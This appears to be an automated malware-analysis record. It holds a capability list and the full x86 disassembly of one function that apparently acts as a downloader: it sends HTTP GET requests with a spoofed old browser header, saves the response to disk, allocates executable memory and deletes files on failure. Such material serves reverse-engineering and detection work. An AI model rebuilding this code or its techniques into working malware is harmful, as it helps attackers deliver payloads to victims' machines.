Function at 0x4083e1
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Create tcp socket
Delete file
Execute shellcode via indirect call
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1238
call fcn.0040fc90
and dword [ebp - 0x11dc], 0
and dword [ebp - 0x7c4], 0
and dword [ebp - 0x1204], 0
and dword [ebp - 0x3bc], 0
and dword [ebp - 0x3b8], 0
and dword [ebp - 0x11d8], 0
and dword [ebp - 0x3b0], 0
and dword [ebp - 0x1a4], 0
and dword [ebp - 0x1a0], 0
and dword [ebp - 0x3b4], 0
and dword [ebp - 0x11d4], 0
and dword [ebp - 0x11f0], 0
or dword [ebp - 0x7c8], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x19c], eax
and dword [ebp - 0x1a8], 0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 2
pop eax
mov word [ebp - 0x11ec], ax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x11ea], ax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x11e8], eax
cmp dword [ebp - 0x11e8], 0xffffffff
jne 0x4084b8
push 2
push dword [ebp + 8]
lea eax, [ebp - 0x11e8]
push eax
call fcn.00407a9e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x3ac], eax
push 0x10
lea eax, [ebp - 0x11ec]
push eax
push dword [ebp - 0x3ac]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4084f9
mov dword [ebp - 0x11d8], 2
jmp 0x408e84
cmp dword [0x4169d4], 0
jne 0x408532
cmp dword [ebp + 0x1c], 1
jne 0x408532
cmp dword [ebp + 0x20], 0
jne 0x408532
cmp dword [ebp + 0x24], 0xa
jae 0x408532
cmp dword [ebp + 0x24], 1
jne 0x408532
mov dword [0x4169d4], 1
push dword [ebp + 8]
push 0x416218
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x11f0], eax
push 1
push dword [ebp - 0x11f0]
push dword [ebp - 0x3ac]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
mov dword [ebp - 0x1a0], 0x2710
push 4
lea eax, [ebp - 0x1a0]
push eax
push 0x1006
push 0xffff
push dword [ebp - 0x3ac]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x11d4], eax
cmp dword [ebp + 0x1c], 1
jne 0x408641
mov dword [ebp - 0x1208], str.GET___s
cmp dword [ebp + 0x14], 0
jne 0x4085b9
mov dword [ebp - 0x1208], str.GET__s
push 0x200
push 0
lea eax, [ebp - 0x3a8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.HTTP_1.1_r_nAccept:___r_nAccept_Language:_zh_cn_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__r_nHost:__s_r_nConnection:_Keep_Alive_r_n_r_n
push dword [ebp - 0x1208]
push str._s_s
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x400
push 0
lea eax, [ebp - 0x7c0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x18]
push dword [ebp + 0x10]
lea eax, [ebp - 0x3a8]
push eax
lea eax, [ebp - 0x7c0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x7c0]
mov dword [ebp - 0x3bc], eax
lea eax, [ebp - 0x7c0]
push eax
call dword [ebp - 0x19c]
mov dword [ebp - 0x11d4], eax
and dword [ebp - 0x11dc], 0
and dword [ebp - 0x3b0], 0
push 0
mov eax, dword [ebp - 0x11d4]
sub eax, dword [ebp - 0x3b0]
push eax
mov eax, dword [ebp - 0x3bc]
add eax, dword [ebp - 0x3b0]
push eax
push dword [ebp - 0x3ac]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x11dc], eax
mov eax, dword [ebp - 0x3b0]
add eax, dword [ebp - 0x11dc]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
cmp eax, dword [ebp - 0x11d4]
jb 0x40869f
jmp 0x4086c7
cmp dword [ebp - 0x11dc], 0
je 0x4086b1
cmp dword [ebp - 0x11dc], 0xffffffff
jne 0x4086c5
mov dword [ebp - 0x11d8], 3
jmp 0x408e84
jmp 0x40864f
mov dword [ebp - 0x1200], 0x76636572
and dword [ebp - 0x11fc], 0
lea eax, [ebp - 0x1200]
push eax
push str.Ws2_32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a8], eax
and dword [ebp - 0xfcc], 0
push 0x2710
push dword [ebp - 0x11f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40872a
mov dword [ebp - 0x11d8], 4
jmp 0x408e84
push 0x800
push 0
lea eax, [ebp - 0xfc8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x800
lea eax, [ebp - 0xfc8]
push eax
push dword [ebp - 0x3ac]
call dword [ebp - 0x1a8]
mov dword [ebp - 0x11dc], eax
mov eax, dword [ebp - 0xfcc]
inc eax
mov dword [ebp - 0xfcc], eax
cmp dword [ebp - 0x11dc], 0
je 0x40877f
cmp dword [ebp - 0x11dc], 0xffffffff
jne 0x408793
mov dword [ebp - 0x11d8], 5
jmp 0x408e84
cmp dword [ebp - 0xfcc], 1
jne 0x408993
push str.200_OK
lea eax, [ebp - 0xfc8]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x408979
mov dword [ebp - 0x11d8], 6
lea eax, [ebp - 0x11d0]
push eax
lea eax, [ebp - 0xfc8]
push eax
call fcn.004082de
cmp eax, 1
jne 0x40896d
mov dword [ebp - 0x11d8], 0xc
cmp dword [ebp + 0x1c], 0
jne 0x40896d
and dword [ebp - 0x1210], 0
and dword [ebp - 0x1214], 0
and dword [ebp - 0x120c], 0
and dword [ebp - 0x1218], 0
and dword [ebp - 0x1220], 0
and dword [ebp - 0x121c], 0
push 0x40
push 0x3000
push dword [ebp + 0x24]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1210], eax
cmp dword [ebp - 0x1210], 0
jne 0x408855
mov dword [ebp - 0x11d8], 0xd
jmp 0x408e84
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp - 0x1210]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x410deb
push dword [ebp - 0x1210]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x1214], eax
mov eax, dword [ebp - 0x1214]
inc eax
mov dword [ebp - 0x1214], eax
mov eax, dword [ebp - 0x1214]
sub eax, dword [ebp - 0x1210]
mov dword [ebp - 0x1218], eax
push dword [ebp - 0x1218]
push dword [ebp - 0x1210]
push dword [ebp - 0x3bc]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x11d0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x11d0]
push eax
mov eax, dword [ebp - 0x3bc]
add eax, dword [ebp - 0x1218]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x410dec
push dword [ebp - 0x1214]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x120c], eax
mov eax, dword [ebp - 0x120c]
sub eax, dword [ebp - 0x1210]
mov ecx, dword [ebp + 0x24]
sub ecx, eax
mov dword [ebp - 0x1220], ecx
push dword [ebp - 0x3bc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x121c], eax
push dword [ebp - 0x1220]
push dword [ebp - 0x120c]
mov eax, dword [ebp - 0x3bc]
add eax, dword [ebp - 0x121c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x121c]
add eax, dword [ebp - 0x1220]
mov dword [ebp - 0x11d4], eax
push 0x8000
push 0
push dword [ebp - 0x1210]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x408e84
cmp dword [ebp + 0x1c], 0
jne 0x408993
mov dword [ebp - 0x11d8], 1
jmp 0x408e84
lea eax, [ebp - 0xfc8]
push eax
call fcn.00408355
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jne 0x408bf7
and dword [ebp - 0x1224], 0
push str.Transfer_Encoding:_chunked
lea eax, [ebp - 0xfc8]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x1224], eax
cmp dword [ebp - 0x1224], 0
jne 0x4089f0
cmp dword [ebp + 0x1c], 1
jne 0x408bd5
cmp dword [ebp + 0x14], 0
jne 0x408bd5
and dword [ebp - 0x1230], 0
and dword [ebp - 0x1228], 0
and dword [ebp - 0x122c], 0
push 4
push 0x3000
push 0x100000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0
jne 0x408a3c
mov dword [ebp - 0x11d8], 0xdd
jmp 0x408e84
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x1230], eax
push dword [ebp - 0x11dc]
lea eax, [ebp - 0xfc8]
push eax
push dword [ebp - 0x1230]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1230]
add eax, dword [ebp - 0x11dc]
mov dword [ebp - 0x1230], eax
push 0xbb8
push dword [ebp - 0x11f0]
call dword [ebp - 4]
cmp eax, 0x102
jne 0x408a8f
jmp 0x408b18
push 0
push 0x800
lea eax, [ebp - 0xfc8]
push eax
push dword [ebp - 0x3ac]
call dword [ebp - 0x1a8]
mov dword [ebp - 0x11dc], eax
cmp dword [ebp - 0x11dc], 0
je 0x408ac1
cmp dword [ebp - 0x11dc], 0xffffffff
jne 0x408ac3
jmp 0x408b18
push dword [ebp - 0x11dc]
lea eax, [ebp - 0xfc8]
push eax
push dword [ebp - 0x1230]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1230]
add eax, dword [ebp - 0x11dc]
mov dword [ebp - 0x1230], eax
cmp dword [ebp - 0x1224], 0
je 0x408b13
push str._r_n0_r_n_r_n
lea eax, [ebp - 0xfc8]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x408b13
jmp 0x408b18
jmp 0x408a75
mov eax, dword [ebp - 0x1230]
sub eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x122c], eax
mov eax, dword [ebp - 0x122c]
add eax, 4
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1234], eax
mov eax, dword [ebp - 0x1234]
mov dword [ebp - 0x1228], eax
cmp dword [ebp - 0x1228], 0
jne 0x408b63
mov dword [ebp - 0x11d8], 0xdd
jmp 0x408baf
mov eax, dword [ebp - 0x1228]
add eax, dword [ebp - 0x122c]
and dword [eax], 0
push dword [ebp - 0x122c]
push dword [ebp - 0x3b8]
push dword [ebp - 0x1228]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp - 0x1228]
mov dword [eax], ecx
mov eax, dword [ebp - 0x122c]
add eax, 4
mov ecx, dword [ebp + 0x24]
mov dword [ecx], eax
mov dword [ebp - 0x11d8], 1
cmp dword [ebp - 0x3b8], 0
je 0x408bcb
push 0x8000
push 0
push dword [ebp - 0x3b8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x408e84
cmp dword [ebp - 0xfcc], 1
jne 0x408be3
jmp 0x4086fe
mov dword [ebp - 0x11d8], 7
jmp 0x408e84
push str._r_n_r_n
lea eax, [ebp - 0xfc8]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
add eax, 4
mov dword [ebp - 0x1204], eax
cmp dword [ebp - 0x1204], 4
jne 0x408c31
mov dword [ebp - 0x11d8], 8
jmp 0x408e84
mov eax, dword [ebp - 0x1204]
lea ecx, [ebp - 0xfc8]
sub eax, ecx
mov ecx, dword [ebp - 0x11dc]
sub ecx, eax
mov dword [ebp - 0x7c4], ecx
cmp dword [ebp + 0x14], 0
je 0x408cb7
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 0xffffffff
jne 0x408c91
mov dword [ebp - 0x11d8], 9
jmp 0x408e84
push 0
lea eax, [ebp - 0x1a0]
push eax
push dword [ebp - 0x7c4]
push dword [ebp - 0x1204]
push dword [ebp - 0x7c8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x408d55
mov eax, dword [ebp - 0x1a4]
add eax, 4
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1238], eax
mov eax, dword [ebp - 0x1238]
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0
jne 0x408cf6
mov dword [ebp - 0x11d8], 0x16
jmp 0x408e84
mov eax, dword [ebp - 0x1a4]
add eax, 4
push eax
push 0
push dword [ebp - 0x3b8]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp - 0x3b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a4]
add eax, 4
mov ecx, dword [ebp + 0x24]
mov dword [ecx], eax
push dword [ebp - 0x7c4]
push dword [ebp - 0x1204]
push dword [ebp - 0x3b8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x3b8]
add eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b4]
add eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0x1a4]
jne 0x408d89
mov dword [ebp - 0x11d8], 1
jmp 0x408e84
push 0x2710
push dword [ebp - 0x11f0]
call dword [ebp - 4]
cmp eax, 0x102
jne 0x408db2
mov dword [ebp - 0x11d8], 0xa
jmp 0x408e84
push 0
push 0x800
lea eax, [ebp - 0xfc8]
push eax
push dword [ebp - 0x3ac]
call dword [ebp - 0x1a8]
mov dword [ebp - 0x11dc], eax
cmp dword [ebp - 0x11dc], 0
je 0x408de4
cmp dword [ebp - 0x11dc], 0xffffffff
jne 0x408df8
mov dword [ebp - 0x11d8], 0xb
jmp 0x408e84
cmp dword [ebp + 0x14], 0
je 0x408e22
push 0
lea eax, [ebp - 0x1a0]
push eax
push dword [ebp - 0x11dc]
lea eax, [ebp - 0xfc8]
push eax
push dword [ebp - 0x7c8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x408e4f
push dword [ebp - 0x11dc]
lea eax, [ebp - 0xfc8]
push eax
push dword [ebp - 0x3b8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x3b8]
add eax, dword [ebp - 0x11dc]
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b4]
add eax, dword [ebp - 0x11dc]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0x1a4]
jne 0x408e7d
mov dword [ebp - 0x11d8], 1
jmp 0x408e84
jmp 0x408d89
cmp dword [ebp - 0x3ac], 0xffffffff
je 0x408ea7
push 2
push dword [ebp - 0x3ac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp - 0x3ac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp dword [ebp - 0x11f0], 0
je 0x408ec2
push dword [ebp - 0x11f0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x7c8], 0xffffffff
je 0x408ee9
push dword [ebp - 0x7c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x11d8], 1
je 0x408ee9
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x11d8], 0xc
jne 0x408f25
cmp dword [ebp + 0x1c], 0
jne 0x408f25
push dword [ebp - 0x11d4]
push dword [ebp - 0x3bc]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
lea eax, [ebp - 0x11d0]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004083e1
mov dword [ebp - 0x11d8], eax
mov eax, dword [ebp - 0x11d8]
leave
ret 0x20